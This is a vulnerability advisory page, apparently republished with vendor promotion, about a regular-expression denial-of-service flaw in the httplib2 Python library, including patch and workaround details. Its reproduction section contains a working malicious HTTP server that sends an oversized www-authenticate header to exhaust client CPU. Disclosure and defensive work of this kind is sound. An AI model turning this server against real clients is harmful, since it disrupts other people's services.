GHSA-93xj-8mrv-444m
HIGHGHSA-93xj-8mrv-444m is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in httplib2. 1 public exploit reference exists, so weaponization risk is real. O3 Security confirms whether GHSA-93xj-8mrv-444m is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Regular Expression Denial of Service (REDoS) in httplib2
Blast Radius
httplib2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Impact
A malicious server which responds with long series of \xa0 characters in the www-authenticate header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server.
Patches
Version 0.19.0 contains new implementation of auth headers parsing, using pyparsing library. https://github.com/httplib2/httplib2/pull/182
Workarounds
import httplib2
httplib2.USE_WWW_AUTH_STRICT_PARSING = True
Technical Details
The vulnerable regular expression is https://github.com/httplib2/httplib2/blob/595e248d0958c00e83cb28f136a2a54772772b50/python3/httplib2/__init__.py#L336-L338
The section before the equals sign contains multiple overlapping groups. Ignoring the optional part containing a comma, we have:
\s*[^ \t\r\n=]+\s*=
Since all three infinitely repeating groups accept the non-breaking space character \xa0, a long string of \xa0 causes catastrophic backtracking.
The complexity is cubic, so doubling the length of the malicious string of \xa0 makes processing take 8 times as long.
Reproduction Steps
Run a malicious server which responds with
www-authenticate: x \xa0\xa0\xa0\xa0x
but with many more \xa0 characters.
An example malicious python server is below:
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_header_value(n_spaces):
repeat = "\xa0" * n_spaces
return f"x {repeat}x"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(401)
self.send_response_only(401) # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65512 # Max header line length 65536
)
value = make_header_value(n_spaces)
self.send_header("www-authenticate", value) # This header can actually be sent multiple times
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 1337), Handler).serve_forever()
Connect to the server with httplib2:
import httplib2
httplib2.Http(".cache").request("http://localhost:1337", "GET")
To benchmark performance with shorter strings, you can set the path to a number e.g. http://localhost:1337/1000
References
Thanks to Ben Caller (Doyensec) for finding vulnerability and discrete notification.
For more information
If you have any questions or comments about this advisory:
- Open an issue in httplib2
- Email current maintainer at 2021-01
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | httplib2 | all versions | 0.19.0 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for httplib2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update httplib2 to 0.19.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-93xj-8mrv-444m is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-93xj-8mrv-444m is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-93xj-8mrv-444m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-93xj-8mrv-444m in your dependencies?
O3 detects GHSA-93xj-8mrv-444m across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.